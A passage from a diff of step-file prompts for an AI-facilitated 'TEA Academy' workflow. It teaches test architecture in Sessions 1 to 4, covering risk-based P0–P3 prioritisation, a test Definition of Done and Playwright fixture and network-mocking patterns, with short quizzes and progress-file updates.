- 📖 Update progress file with session completion and score
- 🚫 FORBIDDEN to skip quiz - validates understanding
- ⏭️ Always return to session menu hub after completion
## CONTEXT BOUNDARIES:
- Available context: Progress file with user role/experience
- Focus: Session 1 - TEA Lite introduction
- Limits: Only Session 1 content, don't preview other sessions
- Dependencies: Progress file exists with assessment data
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Session Welcome
Display:
"🧪 **Session 1: Quick Start** (30 minutes)
**Objective:** Get immediate value by seeing TEA in action
**What you'll learn:**
- What is TEA and why it exists
- TEA Lite quick start approach
- How to run your first TEA workflow (Automate)
- TEA engagement models
Let's get started!"
### 2. Update Progress File (Session Started)
Load {progressFile} and update session-01-quickstart:
- Set `status: 'in-progress'`
- Set `started_date: {current_date}`
Save the updated progress file.
### 3. Teaching: What is TEA?
Present this content (mostly autonomous, clear and educational):
"### 📖 What is TEA (Test Architecture Enterprise)?
TEA is a comprehensive test architecture framework that provides:
- **9 Workflows:** Teach Me Testing, Framework, Test Design, ATDD, Automate, Test Review, Trace, NFR Assessment, CI
- **35 Knowledge Fragments:** Distilled expertise on patterns, best practices, Playwright Utils
- **Quality Standards:** Definition of Done with execution limits (no flaky tests, no hard waits, etc.)
- **Risk-Based Testing:** P0-P3 matrix for prioritizing test coverage
**Why TEA exists:**
Testing knowledge doesn't scale through manual teaching. TEA makes testing expertise accessible through:
- Structured workflows that guide you step-by-step
- Documentation (32 docs) organized by type (tutorials, how-to, explanation, reference)
- Knowledge fragments for just-in-time learning
- Online resources: <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/>
**TEA Engagement Models:**
1. **TEA Lite (30 min):** Quick start - run Automate workflow, generate tests
2. **TEA Solo:** Use workflows individually as needed
3. **TEA Integrated:** Full lifecycle - Framework → Test Design → ATDD/Automate → Review → Trace
4. **TEA Enterprise:** Add NFR Assessment + CI integration for compliance
5. **TEA Brownfield:** Adapt TEA for existing test suites
**Today we're experiencing TEA Lite!**"
### 4. Teaching: TEA Lite Quick Start
Present this content (adapt examples based on user role from progress file):
"### 🚀 TEA Lite: Your First Workflow
The **Automate workflow** generates tests for your application automatically.
**How it works:**
1. You describe what needs testing
2. TEA analyzes your app structure
3. Workflow generates test files with TEA best practices
4. You review and run the tests
{If role == QA:}
**For QA Engineers:** This helps you quickly expand test coverage without writing every test manually. Focus on test design, let TEA handle boilerplate.
{If role == Dev:}
**For Developers:** This generates tests following best practices so you can focus on implementation. Tests are maintainable and follow fixture patterns.
{If role == Lead:}
**For Tech Leads:** This standardizes test architecture across your team. Everyone writes tests the same way using TEA patterns.
{If role == VP:}
**For VPs:** This scales testing across teams without manual training. New hires can generate quality tests from day one.
**Let me show you how the Automate workflow works conceptually:**
1. **Input:** You provide targets (features/pages to test)
2. **TEA analyzes:** Understands your app structure
3. **Test generation:** Creates API and/or E2E tests
4. **Output:** Test files in your test suite with proper fixtures
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/>
**Note:** We won't actually run the workflow now (you can do that on your project later), but you understand the concept."
### 5. Teaching: Key Concepts
Present this content:
"### 🎯 Key Concepts from Session 1
**1. TEA is a framework:** Not just docs, but executable workflows that guide you
**2. Risk-based testing:** Prioritize what matters (P0 critical, P3 nice-to-have)
**3. Quality standards:** Definition of Done ensures reliable tests
- No flaky tests
- No hard waits/sleeps
- Stateless & parallelizable
- Self-cleaning tests
**4. Engagement models:** Choose how much TEA you need (Lite → Solo → Integrated → Enterprise → Brownfield)
**5. Knowledge fragments:** 35 fragments for deep-dive topics when you need them
- Testing patterns (fixtures, network-first, data factories)
- Playwright Utils (api-request, network-recorder, recurse)
- Configuration & governance (CI, feature flags, risk)
**You've now experienced TEA Lite! In future sessions, we'll go deeper.**"
### 6. Quiz: Validate Understanding
Display:
"### ✅ Quick Knowledge Check
Let me ask you 3 questions to validate your understanding. Passing score: ≥70% (2 of 3 correct)."
**Question 1:**
"**Question 1 of 3:**
What is the primary purpose of TEA?
A) Replace all testing tools with a single framework
B) Make testing expertise accessible through structured workflows and knowledge
C) Automate 100% of test writing
D) Only works for Playwright tests
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: B
- If correct: "✅ Correct! TEA makes testing expertise accessible and scalable."
- If incorrect: "❌ Not quite. TEA's purpose is to make testing expertise accessible through structured workflows and knowledge (B). It's not about replacing tools or automating everything."
**Store result (1 point if correct, 0 if incorrect)**
**Question 2:**
"**Question 2 of 3:**
What does the P0-P3 risk matrix help with?
A) Prioritizing test coverage based on criticality
B) Grading test code quality
C) Measuring test execution speed
D) Tracking bug severity
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: A
- If correct: "✅ Correct! P0-P3 helps prioritize what to test based on risk and criticality."
- If incorrect: "❌ The P0-P3 matrix is about prioritizing test coverage (A). P0 = critical features like login, P3 = nice-to-have like tooltips."
**Store result**
**Question 3:**
"**Question 3 of 3:**
Which TEA engagement model is best for quick value in 30 minutes?
A) TEA Enterprise
B) TEA Lite
C) TEA Integrated
D) TEA Brownfield
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: B
- If correct: "✅ Correct! TEA Lite is the 30-minute quick start approach."
- If incorrect: "❌ TEA Lite (B) is the quick start approach. Enterprise and Integrated are more comprehensive."
**Store result**
**Calculate score:**
- Total points / 3 \* 100 = score (0-100)
**Display results:**
"**Quiz Results:** {score}/100
{If score >= 70:}
**Passed!** You've demonstrated understanding of Session 1 concepts.
{If score < 70:}
**Below passing threshold.** Would you like to:
- **[R]** Review the content again
- **[C]** Continue anyway (your score will be recorded)
{Wait for response if < 70, handle R or C}"
### 7. Generate Session Notes
Create {sessionNotesFile} using {sessionNotesTemplate} with:
```markdown
---
session_id: session-01-quickstart
session_name: 'Session 1: Quick Start'
user: { user_name }
role: { role }
completed_date: { current_date }
score: { score }
duration: '30 min'
---
# Session 1: Quick Start - Session Notes
**Learner:** {user_name} ({role})
**Completed:** {current_date}
**Score:** {score}/100
**Duration:** 30 min
---
## Session Objectives
- Understand what TEA is and why it exists
- Learn TEA Lite quick start approach
- Conceptually understand the Automate workflow
- Explore TEA engagement models
---
## Key Concepts Covered
1. **TEA Framework:** 9 workflows + 35 knowledge fragments + quality standards
2. **Risk-Based Testing:** P0-P3 prioritization matrix
3. **Quality Standards:** Definition of Done (no flaky tests, no hard waits, stateless, self-cleaning)
4. **Engagement Models:** Lite, Solo, Integrated, Enterprise, Brownfield
5. **Automate Workflow:** Generates tests automatically with TEA best practices
---
## TEA Resources Referenced
### Documentation
- TEA Overview: https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/tea-overview/
- TEA Lite Quickstart: https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/tutorials/tea-lite-quickstart/
- Automate Workflow: https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/how-to/workflows/run-automate/
### Knowledge Fragments
- (None used in this session - knowledge fragments explored in Session 7)
### Online Resources
- TEA Website: https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/
- Knowledge Base: https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/reference/knowledge-base/
---
## Quiz Results
**Score:** {score}/100
### Questions & Answers
1. What is the primary purpose of TEA? → {user_answer} ({correct/incorrect})
2. What does the P0-P3 risk matrix help with? → {user_answer} ({correct/incorrect})
3. Which TEA engagement model is best for quick value? → {user_answer} ({correct/incorrect})
---
## Key Takeaways
- TEA makes testing expertise accessible at scale
- Start with TEA Lite (30 min) for immediate value
- Risk-based testing prioritizes what matters (P0 critical features first)
- Quality standards ensure reliable, maintainable tests
- 5 engagement models let you choose the right level of TEA adoption
---
## Next Recommended Session
{If experience_level == 'beginner':}
**Session 2: Core Concepts** - Learn testing fundamentals and TEA principles
{If experience_level == 'intermediate':}
**Session 2 or 3** - Review concepts or dive into architecture patterns
{If experience_level == 'experienced':}
**Session 7: Advanced Patterns** - Explore 35 knowledge fragments
---
**Generated by:** TEA Academy - Teach Me Testing Workflow
**Session Path:** Session 1 of 7
```
### 8. Update Progress File (Session Complete)
Load {progressFile} and update session-01-quickstart:
- Set `status: 'completed'`
- Set `completed_date: {current_date}`
- Set `score: {score}`
- Set `notes_artifact: '{sessionNotesFile}'`
Update progress metrics:
- If previous status for `session-01-quickstart` is not `completed`, increment `sessions_completed` by 1 (otherwise leave unchanged)
- Calculate `completion_percentage: (sessions_completed / 7) * 100`
- Set `next_recommended: 'session-02-concepts'`
Update stepsCompleted array:
- Append 'step-04-session-01' to stepsCompleted array
- Update lastStep: 'step-04-session-01'
Save the updated progress file.
### 9. Session Complete Message
Display:
"🎉 **Session 1 Complete!**
**Your Score:** {score}/100
**Session notes saved:** {sessionNotesFile}
You've completed your first step in TEA Academy! You now understand what TEA is, how TEA Lite works, and the different engagement models.
**Next:** You'll return to the session menu where you can choose Session 2 or explore any other session.
**Progress:** {completion_percentage}% complete ({sessions_completed} of 7 sessions)"
### 10. Present MENU OPTIONS
Display: **Select an Option:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
#### EXECUTION RULES:
- ALWAYS halt and wait for user input after presenting menu
- ONLY proceed to session menu when user selects 'C'
- After other menu items execution, return to this menu
#### Menu Handling Logic:
- IF A: Execute {advancedElicitationTask}, and when finished redisplay the menu
- IF P: Execute {partyModeWorkflow}, and when finished redisplay the menu
- IF C: Progress file already updated in step 8, then load, read entire file, then execute {nextStepFile}
- IF Any other: help user, then [Redisplay Menu Options](#10-present-menu-options)
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Teaching content presented clearly
- Examples adapted to user role
- Quiz administered with 3 questions
- Score calculated correctly (0-100)
- Session notes generated with all required sections
- Progress file updated (status: completed, score, notes_artifact)
- stepsCompleted array updated with 'step-04-session-01'
- Completion percentage recalculated
- Next recommended session set
- User routed back to session menu hub
### ❌ SYSTEM FAILURE:
- Skipping quiz
- Not adapting examples to user role
- Not generating session notes
- Not updating progress file
- Not updating stepsCompleted array
- Not calculating completion percentage
- Not routing back to hub
- Loading all docs at once (should be just-in-time)
**Master Rule:** Teach, quiz, generate notes, update progress, return to hub. This pattern repeats for all 7 sessions.

View File

@@ -0,0 +1,465 @@
---
name: 'step-04-session-02'
description: 'Session 2: Core Concepts - Risk-based testing, DoD, testing philosophy (45 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-02-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 2 - Core Concepts
## STEP GOAL:
To teach testing fundamentals including risk-based testing, TEA quality standards (Definition of Done), and testing as engineering philosophy in a 45-minute session.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
- ✅ Together we build their testing knowledge progressively
### Step-Specific Rules:
- 🎯 Focus ONLY on Session 2 content (Core Concepts)
- 🚫 FORBIDDEN to skip ahead to other sessions
- 💬 Approach: Teach fundamentals, provide examples, quiz understanding
- 🚪 Teaching is mostly autonomous, quiz is collaborative
- 📚 Reference TEA docs and knowledge fragments
## EXECUTION PROTOCOLS:
- 🎯 Load TEA docs just-in-time
- 💾 Generate session notes after completion
- 📖 Update progress file with session completion and score
- 🚫 FORBIDDEN to skip quiz - validates understanding
- ⏭️ Always return to session menu hub after completion
## CONTEXT BOUNDARIES:
- Available context: Progress file with user role/experience
- Focus: Session 2 - Testing fundamentals and TEA principles
- Limits: Only Session 2 content
- Dependencies: Progress file exists with assessment data
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise unless user explicitly requests a change.
### 1. Session Welcome
Display:
"🧪 **Session 2: Core Concepts** (45 minutes)
**Objective:** Understand WHY behind TEA principles
**What you'll learn:**
- Testing as Engineering philosophy
- Risk-based testing with P0-P3 matrix
- TEA Definition of Done (quality standards)
- Probability × Impact risk scoring
Let's dive into the fundamentals!"
### 2. Update Progress File (Session Started)
Load {progressFile} and update session-02-concepts:
- Set `status: 'in-progress'`
- Set `started_date: {current_date}`
Save the updated progress file.
### 3. Teaching: Testing as Engineering
Present this content:
"### 🏗️ Testing as Engineering
**Core Philosophy:** Testing is not an afterthought - it's engineering.
**What this means:**
- Tests are **designed** before they're written (like architecture before coding)
- Tests have **quality standards** (not just "does it run?")
- Tests are **maintained** like production code
- Testing decisions are **risk-based** (prioritize what matters)
{If role == QA:}
**For QA Engineers:** You're not just finding bugs - you're engineering test systems that scale. Design before write, maintain like production code.
{If role == Dev:}
**For Developers:** Think of tests like you think of production code. Design patterns, refactoring, DRY principles - they all apply to tests.
{If role == Lead:}
**For Tech Leads:** Testing as engineering means architecture decisions: fixture patterns, data strategies, CI orchestration. Not just "write more tests."
{If role == VP:}
**For VPs:** Testing is an engineering discipline requiring investment in tooling, architecture, and knowledge. Not a checklist item.
**Key Principle:** If you wouldn't accept sloppy production code, don't accept sloppy test code.
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/testing-as-engineering/>"
### 4. Teaching: Risk-Based Testing
Present this content:
"### ⚖️ Risk-Based Testing: The P0-P3 Matrix
**Problem:** You can't test everything. How do you prioritize?
**Solution:** Risk = Probability × Impact
**The P0-P3 Matrix:**
**P0 - Critical (Must Test)**
- Login/Authentication
- Payment processing
- Data loss scenarios
- Security vulnerabilities
- **Impact:** Business fails if broken
- **Probability:** High usage, high complexity
**P1 - High (Should Test)**
- Core user workflows
- Key features
- Data integrity
- **Impact:** Major user pain
- **Probability:** Frequent usage
**P2 - Medium (Nice to Test)**
- Secondary features
- Edge cases with workarounds
- **Impact:** Inconvenience
- **Probability:** Moderate usage
**P3 - Low (Optional)**
- Tooltips, help text
- Nice-to-have features
- Aesthetic issues
- **Impact:** Minimal
- **Probability:** Low usage
{If role == QA:}
**For QA Engineers:** Use P0-P3 to defend test coverage decisions. "We have 100% P0 coverage, 80% P1" is better than "we have 50% coverage overall."
{If role == Dev:}
**For Developers:** When writing tests, ask "Is this P0 login or P3 tooltip?" Focus your time accordingly.
{If role == Lead:}
**For Tech Leads:** P0-P3 helps allocate test automation budget. Mandate P0/P1 automation, P2/P3 is cost-benefit analysis.
{If role == VP:}
**For VPs:** Risk-based testing aligns engineering effort with business impact. Metrics that matter: P0 coverage, not lines of code.
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/risk-based-testing/>
**Knowledge Fragment:** probability-impact.md defines scoring criteria"
### 5. Teaching: Definition of Done (Quality Standards)
Present this content:
"### ✅ TEA Definition of Done: Quality Standards
**The Problem:** "The tests pass" isn't enough. What about quality?
**TEA Definition of Done ensures:**
**1. No Flaky Tests**
- Tests pass/fail deterministically
- No "run it again, it'll work" tests
- Use explicit waits, not hard sleeps
- Handle async properly
**2. No Hard Waits/Sleeps**
- Use `waitFor` conditions, not `sleep(5000)`
- React to state changes, don't guess timing
- Tests complete when ready, not after arbitrary delays
**3. Stateless & Parallelizable**
- Tests run independently, any order
- No shared state between tests
- Can run in parallel (fast feedback)
- Use cron jobs/semaphores only when unavoidable
**4. No Order Dependency**
- Every `it`/`describe`/`context` block works in isolation
- Supports `.only` execution for debugging
- Tests don't depend on previous tests
**5. Self-Cleaning Tests**
- Test sets up its own data
- Test automatically deletes/deactivates entities created
- No manual cleanup required
**6. Tests Live Near Source Code**
- Co-locate test files with code they validate
- `component.tsx``component.spec.tsx` in same folder
**7. Low Maintenance**
- Minimize manual upkeep
- Avoid brittle selectors
- Use APIs to set up state, not UI clicks
- Don't repeat UI actions
{If role == QA:}
**For QA Engineers:** These standards prevent the "test maintenance nightmare." Upfront investment in quality = long-term stability.
{If role == Dev:}
**For Developers:** Write tests you'd want to inherit. No flaky tests, no "run twice" culture, no mystery failures.
{If role == Lead:}
**For Tech Leads:** Enforce these standards in code review. Flaky test PRs don't merge. Period.
{If role == VP:}
**For VPs:** Definition of Done isn't perfectionism - it's engineering rigor. Flaky tests erode trust in CI/CD.
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/test-quality-standards/>
**Knowledge Fragment:** test-quality.md has execution limits and criteria"
### 6. Teaching: Key Takeaways
Present this content:
"### 🎯 Session 2 Key Takeaways
**1. Testing is Engineering**
- Design before write
- Maintain like production code
- Apply engineering principles
**2. Risk-Based Testing**
- P0 = Critical (login, payment)
- P1 = High (core workflows)
- P2 = Medium (secondary features)
- P3 = Low (tooltips, nice-to-have)
- Prioritize based on Probability × Impact
**3. Definition of Done**
- No flaky tests (deterministic)
- No hard waits (use waitFor)
- Stateless & parallelizable
- Self-cleaning tests
- Low maintenance
**4. Quality Standards = Engineering Rigor**
- Not perfectionism, but reliability
- Prevents test maintenance nightmares
- Builds trust in CI/CD
**You now understand the WHY behind TEA principles!**"
### 7. Quiz: Validate Understanding
Display:
"### ✅ Knowledge Check
3 questions to validate your understanding. Passing: ≥70% (2 of 3 correct)."
**Question 1:**
"**Question 1 of 3:**
In the P0-P3 matrix, what priority level should login/authentication have?
A) P3 - Low priority
B) P2 - Medium priority
C) P1 - High priority
D) P0 - Critical priority
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: D
- If correct: "✅ Correct! Login/authentication is P0 - critical. Business fails if broken."
- If incorrect: "❌ Login/authentication is P0 - Critical (D). It's high usage, high impact, and business-critical."
**Store result**
**Question 2:**
"**Question 2 of 3:**
What is the problem with using `sleep(5000)` instead of `waitFor` conditions?
A) It makes tests slower
B) It's a hard wait that doesn't react to state changes (violates DoD)
C) It uses too much memory
D) It's not supported in modern frameworks
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: B
- If correct: "✅ Correct! Hard waits don't react to state - they guess timing. Use `waitFor` to react to conditions."
- If incorrect: "❌ The issue is that hard waits don't react to state changes (B). They guess timing instead of waiting for conditions. This violates TEA Definition of Done."
**Store result**
**Question 3:**
"**Question 3 of 3:**
What does "self-cleaning tests" mean in TEA Definition of Done?
A) Tests automatically fix their own bugs
B) Tests delete/deactivate entities they create during testing
C) Tests run faster by cleaning up code
D) Tests remove old test files
Your answer (A, B, C, or D):"
**Wait for response. Validate:**
- Correct answer: B
- If correct: "✅ Correct! Self-cleaning tests clean up their data - no manual cleanup needed."
- If incorrect: "❌ Self-cleaning means tests delete/deactivate entities they created (B). No manual cleanup required."
**Store result**
**Calculate score:**
- Total points / 3 \* 100 = score (0-100)
**Display results:**
"**Quiz Results:** {score}/100
{If score >= 70:}
**Passed!** You understand core testing concepts.
{If score < 70:}
**Below passing.** Would you like to:
- **[R]** Review the content again
- **[C]** Continue anyway (score will be recorded)
{Wait for response if < 70, handle R or C}"
### 8. Generate Session Notes
Create {sessionNotesFile} using {sessionNotesTemplate} with session-02 content including:
- Teaching topics covered
- TEA docs referenced
- Knowledge fragments referenced (test-quality.md, probability-impact.md)
- Quiz results
- Key takeaways
- Next recommended session based on experience level
### 9. Update Progress File (Session Complete)
Load {progressFile} and update session-02-concepts:
- Set `status: 'completed'`
- Set `completed_date: {current_date}`
- Set `score: {score}`
- Set `notes_artifact: '{sessionNotesFile}'`
Update progress metrics:
- Increment `sessions_completed` by 1
- Calculate `completion_percentage`
- Set `next_recommended: 'session-03-architecture'`
Update stepsCompleted array:
- Append 'step-04-session-02'
- Update lastStep
Save the updated progress file.
### 10. Session Complete Message
Display:
"🎉 **Session 2 Complete!**
**Your Score:** {score}/100
**Session notes saved:** {sessionNotesFile}
You now understand:
- Testing as engineering philosophy
- Risk-based testing (P0-P3 matrix)
- TEA Definition of Done
- Why quality standards matter
**Next:** Session 3 (Architecture & Patterns) or explore any session from the menu.
**Progress:** {completion_percentage}% complete ({sessions_completed} of 7 sessions)"
### 11. Present MENU OPTIONS
Display: **Select an Option:** [A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
#### Menu Handling Logic:
- IF A: Execute {advancedElicitationTask}, and when finished redisplay the menu
- IF P: Execute {partyModeWorkflow}, and when finished redisplay the menu
- IF C: Progress file already updated, then load, read entire file, then execute {nextStepFile}
- IF Any other: help user, then redisplay menu
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Teaching content presented (Testing as Engineering, Risk-based, DoD)
- Examples adapted to user role
- Quiz administered (3 questions)
- Score calculated correctly
- Session notes generated
- Progress file updated
- stepsCompleted array updated
- User routed back to hub
### ❌ SYSTEM FAILURE:
- Skipping quiz
- Not adapting to role
- Not generating notes
- Not updating progress
- Not routing to hub
**Master Rule:** Teach, quiz, generate notes, update progress, return to hub.

View File

@@ -0,0 +1,301 @@
---
name: 'step-04-session-03'
description: 'Session 3: Architecture & Patterns - Fixtures, network patterns, framework setup (60 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-03-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 3 - Architecture & Patterns
## STEP GOAL:
To teach TEA architecture patterns including fixture composition, network-first patterns, and step-file architecture in a 60-minute session.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning, not lectures
- ✅ You bring expertise in TEA methodology and teaching pedagogy
- ✅ Learner brings their role context, experience, and learning goals
### Step-Specific Rules:
- 🎯 Focus ONLY on Session 3 content (Architecture & Patterns)
- 🚫 FORBIDDEN to skip ahead to other sessions
- 💬 Approach: Teach patterns, provide examples, quiz understanding
## EXECUTION PROTOCOLS:
- 🎯 Load TEA docs just-in-time
- 💾 Generate session notes after completion
- 📖 Update progress file with session completion and score
- ⏭️ Return to session menu hub after completion
## CONTEXT BOUNDARIES:
- Available context: Progress file with user role/experience
- Focus: Session 3 - Architecture patterns
- Dependencies: Progress file exists
## MANDATORY SEQUENCE
**CRITICAL:** Follow this sequence exactly.
### 1. Session Welcome
"🧪 **Session 3: Architecture & Patterns** (60 minutes)
**Objective:** Understand TEA patterns and architecture
**What you'll learn:**
- Fixture architecture and composition
- Network-first patterns
- Data factories and test setup
- Step-file architecture (the pattern this workflow uses!)
Let's explore TEA architecture!"
### 2. Update Progress (Started)
Load {progressFile}, update session-03-architecture:
- `status: 'in-progress'`
- `started_date: {current_date}`
### 3. Teaching: Fixture Architecture
"### 🏗️ Fixture Architecture
**The Problem:** Tests have setup/teardown boilerplate everywhere.
**TEA Solution:** Composable fixtures
**Fixture Composition Pattern:**
```typescript
// Base fixtures
const baseFixtures = {
page: async ({}, use) => {
/* ... */
},
};
// Composed fixtures
const authFixtures = {
authenticatedPage: async ({ page }, use) => {
await page.goto('/login');
await login(page);
await use(page);
},
};
// Merge and use
test.use(mergeTests(baseFixtures, authFixtures));
```
**Benefits:**
- DRY: Define once, use everywhere
- Composable: Build complex fixtures from simple ones
- Automatic cleanup: Fixtures handle teardown
- Type-safe: Full TypeScript support
{Role-adapted example based on user role}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/fixture-architecture/>
**Knowledge Fragment:** fixture-architecture.md, fixtures-composition.md"
### 4. Teaching: Network-First Patterns
"### 🌐 Network-First Patterns
**The Problem:** Flaky tests due to network timing issues.
**TEA Solution:** Intercept and control network
**Network-First Pattern:**
```typescript
// BEFORE the action, set up network interception
await page.route('/api/users', (route) => {
route.fulfill({ json: mockUsers });
});
// THEN trigger the action
await page.click('Load Users');
// Network is already mocked - no race condition
```
**Why Network-First:**
- Prevents race conditions
- Deterministic test behavior
- Fast (no real API calls)
- Control error scenarios
{Role-adapted example}
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/network-first-patterns/>
**Knowledge Fragment:** network-first.md, intercept-network-call.md"
### 5. Teaching: Data Factories
"### 🏭 Data Factories
**The Problem:** Hard-coded test data everywhere.
**TEA Solution:** Factory functions
**Factory Pattern:**
```typescript
function createUser(overrides = {}) {
return {
id: faker.uuid(),
email: faker.email(),
role: 'user',
...overrides,
};
}
// Use in tests
const admin = createUser({ role: 'admin' });
const user = createUser(); // defaults
```
**Benefits:**
- No hardcoded data
- Easy to override fields
- Consistent test data
- Self-documenting
{Role-adapted example}
**Knowledge Fragment:** data-factories.md"
### 6. Teaching: Step-File Architecture
"### 📋 Step-File Architecture
**This workflow uses step-file architecture!**
**Pattern:**
- Micro-file design: Each step is self-contained
- Just-in-time loading: Only current step in memory
- Sequential enforcement: No skipping steps
- State tracking: Progress saved between steps
**Why:**
- Disciplined execution
- Clear progression
- Resumable (continuable workflows)
- Maintainable (one file per step)
**You're experiencing this right now:** Each session is a step file!
**Documentation:** <https://bmad-code-org.github.io/bmad-method-test-architecture-enterprise/explanation/step-file-architecture/>"
### 7. Quiz (3 questions)
"### ✅ Knowledge Check"
**Q1:** "What is the main benefit of fixture composition?
A) Faster test execution
B) DRY - define once, reuse everywhere
C) Better error messages
D) Automatic screenshot capture"
Correct: B
**Q2:** "Why is 'network-first' better than mocking after the action?
A) It's faster
B) It prevents race conditions
C) It uses less memory
D) It's easier to write"
Correct: B
**Q3:** "What pattern does this teaching workflow use?
A) Page Object Model
B) Behavior Driven Development
C) Step-File Architecture
D) Test Pyramid"
Correct: C
Calculate score, handle <70% retry option.
### 8. Generate Session Notes
Create {sessionNotesFile} with:
- Session 3 content
- Topics: Fixtures, network-first, data factories, step-file architecture
- TEA docs referenced
- Knowledge fragments: fixture-architecture.md, network-first.md, data-factories.md
- Quiz results
- Next recommended: session-04-test-design
### 9. Update Progress (Completed)
Update session-03-architecture:
- `status: 'completed'`
- `completed_date: {current_date}`
- `score: {score}`
- `notes_artifact`
Increment sessions_completed, update completion_percentage.
Append 'step-04-session-03' to stepsCompleted.
### 10. Complete Message
"🎉 **Session 3 Complete!** Score: {score}/100
You understand TEA architecture patterns!
Progress: {completion_percentage}%"
### 11. Menu
[A] Advanced Elicitation [P] Party Mode [C] Continue to Session Menu
Return to {nextStepFile}
---
## 🚨 SYSTEM SUCCESS/FAILURE METRICS
### ✅ SUCCESS:
- Architecture patterns taught
- Quiz administered
- Notes generated
- Progress updated
- Returned to hub
### ❌ SYSTEM FAILURE:
- Skipping patterns
- Not generating notes
- Not updating progress
**Master Rule:** Teach patterns, quiz, update, return to hub.

View File

@@ -0,0 +1,234 @@
---
name: 'step-04-session-04'
description: 'Session 4: Test Design - Risk assessment, test design workflow (60 min)'
progressFile: '{test_artifacts}/teaching-progress/{user_name}-tea-progress.yaml'
sessionNotesTemplate: '../templates/session-notes-template.md'
sessionNotesFile: '{test_artifacts}/tea-academy/{user_name}/session-04-notes.md'
nextStepFile: './step-03-session-menu.md'
advancedElicitationTask: '{project-root}/_bmad/core/workflows/advanced-elicitation/workflow.xml'
partyModeWorkflow: '{project-root}/_bmad/core/workflows/party-mode/workflow.md'
---
# Step 4: Session 4 - Test Design
## STEP GOAL:
To teach risk assessment and coverage planning using the TEA Test Design workflow in a 60-minute session.
## MANDATORY EXECUTION RULES (READ FIRST):
### Universal Rules:
- 🛑 NEVER generate content without user input
- 📖 CRITICAL: Read the complete step file before taking any action
- 🔄 CRITICAL: When loading next step with 'C', ensure entire file is read
- 📋 YOU ARE A FACILITATOR, not a content generator
- ✅ YOU MUST ALWAYS SPEAK OUTPUT In your Agent communication style with the config `{communication_language}`
### Role Reinforcement:
- ✅ You are a Master Test Architect and Teaching Guide
- ✅ We engage in collaborative learning
- ✅ You bring expertise in TEA methodology
### Step-Specific Rules:
- 🎯 Focus on Session 4 (Test Design)
- 💬 Teach workflow, provide examples
## EXECUTION PROTOCOLS:
- 🎯 Load docs just-in-time
- 💾 Generate notes
- 📖 Update progress
- ⏭️ Return to hub
## MANDATORY SEQUENCE
### 1. Welcome
"🧪 **Session 4: Test Design** (60 minutes)
**Objective:** Learn risk assessment and coverage planning
**What you'll learn:**
- Test Design workflow
- Risk/testability assessment
- Coverage planning with test levels
- Test priorities matrix
Let's plan some tests!"
### 2. Update Progress (Started)
Set session-04-test-design `status: 'in-progress'`, `started_date`.
### 3. Teaching: Test Design Workflow
"### 📐 Test Design Workflow
**Purpose:** Plan tests BEFORE writing them (design before code).
**Workflow Steps:**
1. **Load Context:** Understand feature/system
2. **Risk/Testability Assessment:** Score probability × impact
3. **Coverage Planning:** Determine what to test and how
4. **Generate Test Design Document:** Blueprint for implementation
**When to Use:**
- New features (epic/system level)
- Major refactors
- Quality gate before development
{Role-adapted example}
